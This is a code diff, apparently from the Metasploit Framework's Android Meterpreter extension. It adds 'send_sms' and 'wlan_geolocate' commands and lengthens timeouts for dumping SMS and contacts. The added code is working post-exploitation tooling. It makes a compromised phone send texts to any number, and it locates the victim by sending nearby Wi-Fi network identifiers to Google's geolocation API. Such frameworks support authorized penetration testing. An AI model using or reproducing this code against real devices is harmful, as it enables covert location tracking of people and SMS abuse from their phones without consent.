send_sms + wlan_geolocate

lib/rex/post/meterpreter/extensions/android/android.rb

@@ -44,7 +44,7 @@ class Android < Extension
   def dump_sms
     sms = Array.new
     request = Packet.create_request('dump_sms')
-    response = client.send_request(request)
+    response = client.send_request(request,60)
 
     response.each( TLV_TYPE_SMS_GROUP ) { |p|
 
@@ -64,7 +64,7 @@ class Android < Extension
   def dump_contacts
     contacts = Array.new
     request = Packet.create_request('dump_contacts')
-    response = client.send_request(request)
+    response = client.send_request(request,60)
 
     response.each( TLV_TYPE_CONTACT_GROUP ) { |p|
 
@@ -119,6 +119,40 @@ class Android < Extension
     response = client.send_request(request)
     response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value
   end
+
+  def send_sms(dest,body)
+    request = Packet.create_request('send_sms')
+    request.add_tlv(TLV_TYPE_SMS_ADDRESS,dest)
+    request.add_tlv(TLV_TYPE_SMS_BODY,body)
+    response = client.send_request(request)
+    resp=response.get_tlv(TLV_TYPE_SMS_SENT).value
+    return resp
+  end
+
+  def wlan_geolocate
+    request = Packet.create_request('wlan_geolocate')
+    response = client.send_request(request,60)
+    networks=[]
+    response.each( TLV_TYPE_WLAN_GROUP ) { |p|
+
+      networks <<
+      {
+        'ssid' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_SSID).value),
+        'bssid' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_BSSID).value),
+        'level' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_LEVEL).value)
+      }
+
+    }
+    return networks
+#    response.get_tlv(TLV_TYPE_WLAN_STRING).value
+#    response.each( TLV_TYPE_CONTACT_GROUP ) { |p|
+#	    wifi << {
+#		    'string' => p.get_tlv(TLV_TYPE_WLAN_STRING).value
+#	    }
+#    }
+#    return wifi
+#    response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value
+  end
 end
 
 end

lib/rex/post/meterpreter/extensions/android/tlv.rb

@@ -33,6 +33,13 @@ TLV_TYPE_CHECK_ROOT_BOOL  = TLV_META_TYPE_BOOL      | (TLV_EXTENSIONS + 9019)
 
 TLV_TYPE_SHUTDOWN_TIMER   = TLV_META_TYPE_UINT      | (TLV_EXTENSIONS + 9020)
 
+TLV_TYPE_SMS_SENT   = TLV_META_TYPE_BOOL      | (TLV_EXTENSIONS + 9021)
+
+TLV_TYPE_WLAN_GROUP   = TLV_META_TYPE_GROUP      | (TLV_EXTENSIONS + 9022)
+TLV_TYPE_WLAN_BSSID   = TLV_META_TYPE_STRING      | (TLV_EXTENSIONS + 9023)
+TLV_TYPE_WLAN_SSID   = TLV_META_TYPE_STRING      | (TLV_EXTENSIONS + 9024)
+TLV_TYPE_WLAN_LEVEL   = TLV_META_TYPE_UINT      | (TLV_EXTENSIONS + 9025)
+
 end
 end
 end

lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb

@@ -26,7 +26,9 @@ class Console::CommandDispatcher::Android
       'geolocate'         => 'Get current lat-long using geolocation',
       'dump_calllog'      => 'Get call log',
       'check_root'        => 'Check if device is rooted',
-      'device_shutdown'   => 'Shutdown device'
+      'device_shutdown'   => 'Shutdown device',
+      'send_sms'	  => 'Sends SMS from target session',
+      'wlan_geolocate'    => 'Get current lat-long using WLAN information',
     }
 
     reqs = {
@@ -35,7 +37,9 @@ class Console::CommandDispatcher::Android
       'geolocate'       => [ 'geolocate' ],
       'dump_calllog'    => [ 'dump_calllog' ],
       'check_root'      => [ 'check_root' ],
-      'device_shutdown' => [ 'device_shutdown']
+      'device_shutdown' => [ 'device_shutdown'],
+      'send_sms'	=> [ 'send_sms' ],
+      'wlan_geolocate'	=> [ 'wlan_geolocate' ]
     }
 
     # Ensure any requirements of the command are met
@@ -343,6 +347,7 @@ class Console::CommandDispatcher::Android
   end
 
 
+
   def cmd_check_root(*args)
 
     check_root_opts = Rex::Parser::Arguments.new(
@@ -368,6 +373,106 @@ class Console::CommandDispatcher::Android
     end
   end
 
+  def cmd_send_sms(*args)
+    send_sms_opts = Rex::Parser::Arguments.new(
+      '-h' => [ false, 'Help Banner' ],
+      '-d' => [ true, 'Destination number' ],
+      '-t' => [ true, 'SMS body text' ]
+    )
+    dest=''
+    body=''
+    send_sms_opts.parse(args) { | opt, idx, val |
+      case opt
+      when '-h'
+        print_line('Usage: send_sms -d <number> -t <sms body>')
+        print_line('Sends SMS messages to specified number.')
+        print_line(send_sms_opts.usage)
+        return
+      when '-d'
+	dest=val
+      when '-t'
+	body=val
+      end
+    }
+    if (dest.blank? or body.blank?)
+        print_error("You must enter both a destination address -d and the SMS text body -t")
+	print_error('e.g. send_sms -d +351961234567 -t "GREETINGS PROFESSOR FALKEN."')
+        print_line(send_sms_opts.usage)
+	return
+    end
+    sent=client.android.send_sms(dest,body)
+    if (sent)
+        print_good('SMS sent')
+    else
+        print_status('SMS failed to send')
+    end
+  end
+
+  def cmd_wlan_geolocate(*args)
+
+    wlan_geolocate_opts = Rex::Parser::Arguments.new(
+      '-h' => [ false, 'Help Banner' ]
+    )
+
+    wlan_geolocate_opts.parse(args) { | opt, idx, val |
+      case opt
+      when '-h'
+        print_line('Usage: wlan_geolocate')
+        print_line('Tries to get device geolocation from WLAN information and Google\'s API')
+        print_line(wlan_geolocate_opts.usage)
+        return
+      end
+    }
+
+    log = client.android.wlan_geolocate
+    wlan_list=''
+    log.each{|x|
+	mac=x['bssid']
+	ssid=x['ssid']
+	ss=x['level']
+	network_data = "&wifi=mac:#{mac}|ssid:#{ssid}|ss=#{ss}"
+	wlan_list << network_data
+#	print_status(x['ssid']+" ("+x['bssid']+") pwr: "+x['level'].to_s())
+    }
+
+    if wlan_list.blank?
+      print_error("Unable to enumerate wireless networks from the target.  Wireless may not be present or enabled.")
+      return
+    end
+
+    # Build and send the request to Google
+    url = "https://maps.googleapis.com/maps/api/browserlocation/json?browser=firefox&sensor=true#{wlan_list}"
+    uri = URI.parse(URI.encode(url))
+    request = Net::HTTP::Get.new(uri.request_uri)
+    http = Net::HTTP::new(uri.host,uri.port)
+    http.use_ssl = true
+    response = http.request(request)
+
+    # Gather the required information from the response
+    if response && response.code == '200'
+      results = JSON.parse(response.body)
+      latitude =  results["location"]["lat"]
+      longitude = results["location"]["lng"]
+      accuracy = results["accuracy"]
+      print_status("Google indicates that the target is within #{accuracy} meters of #{latitude},#{longitude}.")
+      print_status("Google Maps URL:  https://maps.google.com/?q=#{latitude},#{longitude}")
+    else
+      print_error("Failure connecting to Google for location lookup.")
+    end
+
+#    print_status(log)
+#    log.each{|x|
+#	print_line(x)
+#    }
+    #if is_rooted
+    #  print_good('Device is rooted')
+    #elsif
+    #  print_status('Device is not rooted')
+    #end
+  end
+
+
+
   #
   # Name for this dispatcher
   #